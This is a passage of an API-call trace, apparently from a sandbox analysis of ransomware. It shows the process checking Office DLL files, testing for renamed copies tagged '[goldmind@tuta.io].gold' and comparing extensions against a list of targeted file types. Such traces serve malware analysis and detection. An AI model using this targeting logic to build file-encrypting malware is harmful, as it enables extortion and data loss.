(lpString="DWGDPRES.DLL") returned 12 [0100.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.818] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=16224) returned 1 [0100.818] CloseHandle (hObject=0x3b0) returned 1 [0100.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll")) returned 0x20 [0100.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".doc") returned 4 [0100.850] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".docx") returned 5 [0100.850] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.850] lstrlenW (lpString=".pdf") returned 4 [0100.850] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".xls") returned 4 [0100.850] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".xlsx") returned 5 [0100.850] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.850] lstrlenW (lpString=".ppt") returned 4 [0100.850] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".zip") returned 4 [0100.850] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".rar") returned 4 [0100.850] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".bz2") returned 4 [0100.850] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.850] lstrlenW (lpString=".7z") returned 3 [0100.850] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".dbf") returned 4 [0100.850] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".1cd") returned 4 [0100.850] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".jpg") returned 4 [0100.850] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.850] lstrlenW (lpString=".doc") returned 4 [0100.850] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".docx") returned 5 [0100.850] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.850] lstrlenW (lpString=".pdf") returned 4 [0100.850] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".xls") returned 4 [0100.850] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.850] lstrlenW (lpString=".xlsx") returned 5 [0100.850] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.850] lstrlenW (lpString=".ppt") returned 4 [0100.850] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.851] lstrlenW (lpString=".zip") returned 4 [0100.851] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.851] lstrlenW (lpString=".rar") returned 4 [0100.851] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.851] lstrlenW (lpString=".bz2") returned 4 [0100.851] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.851] lstrlenW (lpString=".7z") returned 3 [0100.851] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.851] lstrlenW (lpString=".dbf") returned 4 [0100.851] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.851] lstrlenW (lpString=".1cd") returned 4 [0100.851] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0100.851] lstrlenW (lpString=".jpg") returned 4 [0100.851] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.851] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0100.851] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0100.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.851] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=51600) returned 1 [0100.851] CloseHandle (hObject=0x3a8) returned 1 [0100.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll")) returned 0x20 [0100.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".doc") returned 4 [0100.852] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".docx") returned 5 [0100.852] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0100.852] lstrlenW (lpString=".pdf") returned 4 [0100.852] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".xls") returned 4 [0100.852] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".xlsx") returned 5 [0100.852] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0100.852] lstrlenW (lpString=".ppt") returned 4 [0100.852] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".zip") returned 4 [0100.852] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".rar") returned 4 [0100.852] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".bz2") returned 4 [0100.852] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.852] lstrlenW (lpString=".7z") returned 3 [0100.852] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".dbf") returned 4 [0100.852] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".1cd") returned 4 [0100.852] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".jpg") returned 4 [0100.852] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.852] lstrlenW (lpString=".doc") returned 4 [0100.852] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.852] lstrlenW (lpString=".docx") returned 5 [0100.852] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0100.853] lstrlenW (lpString=".pdf") returned 4 [0100.853] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.853] lstrlenW (lpString=".xls") returned 4 [0100.853] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.853] lstrlenW (lpString=".xlsx") returned 5 [0100.853] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0100.853] lstrlenW (lpString=".ppt") returned 4 [0100.853] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.853] lstrlenW (lpString=".zip") returned 4 [0100.853] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.853] lstrlenW (lpString=".rar") returned 4 [0100.853] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.853] lstrlenW (lpString=".bz2") returned 4 [0100.853] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.853] lstrlenW (lpString=".7z") returned 3 [0100.853] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.853] lstrlenW (lpString=".dbf") returned 4 [0100.853] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.853] lstrlenW (lpString=".1cd") returned 4 [0100.853] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0100.853] lstrlenW (lpString=".jpg") returned 4 [0100.853] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.853] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0100.853] lstrlenW (lpString="EDITRES.DLL") returned 11 [0100.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.853] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=19840) returned 1 [0100.854] CloseHandle (hObject=0x3a8) returned 1 [0100.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll")) returned 0x20 [0100.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".doc") returned 4 [0100.854] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString=".docx") returned 5 [0100.854] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.854] lstrlenW (lpString=".pdf") returned 4 [0100.854] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString=".xls") returned 4 [0100.854] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString=".xlsx") returned 5 [0100.854] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.854] lstrlenW (lpString=".ppt") returned 4 [0100.854] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".zip") returned 4 [0100.854] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString=".rar") returned 4 [0100.854] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString=".bz2") returned 4 [0100.854] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.854] lstrlenW (lpString=".7z") returned 3 [0100.854] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".dbf") returned 4 [0100.854] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".1cd") returned 4 [0100.854] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".jpg") returned 4 [0100.854] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.854] lstrlenW (lpString=".doc") returned 4 [0100.855] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString=".docx") returned 5 [0100.855] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.855] lstrlenW (lpString=".pdf") returned 4 [0100.855] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString=".xls") returned 4 [0100.855] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString=".xlsx") returned 5 [0100.855] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.855] lstrlenW (lpString=".ppt") returned 4 [0100.855] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.855] lstrlenW (lpString=".zip") returned 4 [0100.855] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString=".rar") returned 4 [0100.855] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.855] lstrlenW (lpString=".bz2") returned 4 [0100.855] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.855] lstrlenW (lpString=".7z") returned 3 [0100.855] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.855] lstrlenW (lpString=".dbf") returned 4 [0100.855] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.855] lstrlenW (lpString=".1cd") returned 4 [0100.855] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0100.855] lstrlenW (lpString=".jpg") returned 4 [0100.855] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.855] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0100.855] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0100.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.855] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=24456) returned 1 [0100.856] CloseHandle (hObject=0x3a8) returned 1 [0100.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll")) returned 0x20 [0100.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString=".doc") returned 4 [0100.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString=".docx") returned 5 [0100.856] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0100.856] lstrlenW (lpString=".pdf") returned 4 [0100.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString=".xls") returned 4 [0100.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString=".xlsx") returned 5 [0100.856] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0100.856] lstrlenW (lpString=".ppt") returned 4 [0100.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString=".zip") returned 4 [0100.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString=".rar") returned 4 [0100.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.856] lstrlenW (lpString=".bz2") returned 4 [0100.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.856] lstrlenW (lpString=".7z") returned 3 [0100.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString=".dbf") returned 4 [0100.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString=".1cd") returned 4 [0100.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.856] lstrlenW (lpString=".jpg") returned 4 [0100.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString=".doc") returned 4 [0100.857] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString=".docx") returned 5 [0100.857] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0100.857] lstrlenW (lpString=".pdf") returned 4 [0100.857] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString=".xls") returned 4 [0100.857] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString=".xlsx") returned 5 [0100.857] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0100.857] lstrlenW (lpString=".ppt") returned 4 [0100.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString=".zip") returned 4 [0100.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString=".rar") returned 4 [0100.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.857] lstrlenW (lpString=".bz2") returned 4 [0100.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.857] lstrlenW (lpString=".7z") returned 3 [0100.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString=".dbf") returned 4 [0100.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString=".1cd") returned 4 [0100.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0100.857] lstrlenW (lpString=".jpg") returned 4 [0100.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.857] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0100.857] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0100.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.858] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=17288) returned 1 [0100.858] CloseHandle (hObject=0x3a8) returned 1 [0100.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll")) returned 0x20 [0100.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.858] lstrlenW (lpString=".doc") returned 4 [0100.859] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".docx") returned 5 [0100.859] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0100.859] lstrlenW (lpString=".pdf") returned 4 [0100.859] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".xls") returned 4 [0100.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".xlsx") returned 5 [0100.859] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0100.859] lstrlenW (lpString=".ppt") returned 4 [0100.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".zip") returned 4 [0100.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".rar") returned 4 [0100.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.859] lstrlenW (lpString=".bz2") returned 4 [0100.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.859] lstrlenW (lpString=".7z") returned 3 [0100.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".dbf") returned 4 [0100.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0100.859] lstrlenW (lpString=".1cd") returned 4 [0100.859] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.859] lstrlenW (lpString="C:\\Program 